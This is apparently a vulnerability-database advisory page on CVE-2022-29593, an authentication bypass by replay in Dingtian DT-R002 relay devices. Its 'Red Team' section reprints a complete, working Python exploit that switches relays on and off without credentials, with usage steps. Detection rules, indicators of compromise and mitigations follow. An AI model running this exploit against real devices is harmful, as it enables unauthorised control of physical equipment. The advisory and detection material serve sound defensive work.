CVE-2022-29593
Executive Summary
CVE-2022-29593 is a critical authentication bypass vulnerability in Dingtian DT-R002 2CH relay devices running firmware version 3.1.276A. The flaw resides in the relay_cgi.cgi endpoint, which accepts HTTP POST requests without requiring any authentication or valid signed/authorized request. An attacker can replay captured HTTP requests to arbitrarily control the relay states (on/off) without credentials. The vulnerability has a public exploit by Victor Hanna (Trustwave SpiderLabs) and is classified under CWE-294 (Authentication Bypass by Capture-replay). No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. However, the device may be distributed through supply chains, and unpatched units pose a risk to industrial control environments.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) but based on vector analysis: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions required; the exploit is straightforward.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The exploit affects only the vulnerable component.
- Confidentiality (C): None – No data disclosure.
- Integrity (I): High – Attacker can change relay states (on/off).
- Availability (A): None – No denial of service.
Threat Level: High – The device controls physical relays, potentially impacting safety or operations in industrial settings.
Deep Dive & Mechanics
The vulnerability is a classic replay attack (CWE-294). The relay_cgi.cgi endpoint processes HTTP GET requests with parameters like type, relay, on, time, and pwd. The pwd=0 parameter suggests a password field, but it is ignored or not validated. The device does not implement any session management, nonce, or timestamp to prevent replay. An attacker who captures a valid request (e.g., via network sniffing) can replay it indefinitely to toggle relays.
The exploit code shows that the attacker sends a GET request to URLs like:
http://<host>/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&
This directly switches relay 1 on. The Cookie header with a static session value (session=4463009) is included but not validated by the server.
Root Cause: Lack of authentication and anti-replay mechanisms in the CGI endpoint.
Vulnerable vs. Patched Code
Vulnerable Code (firmware 3.1.276A):
The relay_cgi.cgi handler likely parses parameters without checking a valid session or signature. Example pseudocode:
void handle_relay_cgi() {
int relay = get_param("relay");
int on = get_param("on");
// No authentication check
set_relay_state(relay, on);
}
Patched Code (hypothetical): A patched version would require a valid session token or cryptographic signature:
void handle_relay_cgi() {
if (!is_authenticated()) {
return_error("Unauthorized");
}
int relay = get_param("relay");
int on = get_param("on");
set_relay_state(relay, on);
}
No official patch is available.
Exploitation & Lab Setup
Red Team
Exploit Code (from Exploit-DB):
#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Usage:
- Install dependencies:
pip install requests colorama - Run:
python exploit.py <target_ip> 1(for relay 1) orpython exploit.py <target_ip> 2(for relay 2) - The script toggles the relay on, waits 5 seconds, then toggles it off.
Lab Setup:
- Target: Dingtian DT-R002 device on the same network.
- Attacker: Any machine with Python and network access to the device.
- No authentication required.
Blue Team
Detection:
- Monitor for repeated GET requests to
/relay_cgi.cgiwith parameterstype=0&relay=0|1&on=0|1&time=0&pwd=0. - Look for the static
Cookie: session=4463009header. - Alert on multiple requests from the same source IP within a short time window.
Honeypot:
- Deploy a fake DT-R002 device that logs all requests to
/relay_cgi.cgi.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/relay_cgi.cgiwith parameterstype=0&relay=0|1&on=0|1&time=0&pwd=0. - User-Agent:
9lyph/3.0(from exploit). - Cookie:
session=4463009.
- HTTP GET requests to
- Host:
- Unauthorized relay state changes (e.g., unexpected on/off cycles).
- Logs:
- Device logs (if available) showing relay commands without prior authentication.
Detection Engineering
YARA Rule
rule CVE_2022_29593_Replay_Attack {
meta:
description = "Detects HTTP requests targeting Dingtian DT-R002 relay_cgi.cgi with replay attack indicators"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2022-29593"
strings:
$cgi = "/relay_cgi.cgi" ascii nocase
$param = "type=0&relay=" ascii
$pwd = "pwd=0" ascii
$cookie = "session=4463009" ascii
condition:
$cgi and $param and $pwd and $cookie
}
Sigma Rule
title: CVE-2022-29593 - Dingtian DT-R002 Authentication Bypass via Replay
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP GET requests to relay_cgi.cgi with replay attack characteristics
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/relay_cgi.cgi'
cs-uri-query|contains:
- 'type=0&relay='
- 'pwd=0'
cs-headers|contains: 'session=4463009'
condition: selection
falsepositives:
- Legitimate administrative use (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-29593 - Dingtian DT-R002 Authentication Bypass"; flow:to_server; content:"GET"; http_method; content:"/relay_cgi.cgi"; http_uri; content:"type=0&relay="; http_uri; content:"pwd=0"; http_uri; content:"session=4463009"; http_cookie; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place DT-R002 relays on a separate VLAN with strict firewall rules allowing only trusted IPs.
- Disable remote access: If not required, block external access to the device.
- Monitor logs: Enable logging on network devices to detect replay attempts.
Long-term Fix:
- Vendor patch: Contact Dingtian for a firmware update. No patch is currently available.
- Workaround: Implement a reverse proxy that adds authentication (e.g., HTTP Basic Auth) in front of the device.
- Replace device: Consider replacing with a relay that supports secure authentication (e.g., TLS, OAuth).
Compensating Controls:
- Use network segmentation and IPS/IDS to block unauthorized requests.
- Deploy a WAF rule to filter requests to
/relay_cgi.cgiunless they come from a whitelisted source.
Valters IT
{/* [Security Hash: 854D2F0F81191AE51AE6BB1C] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.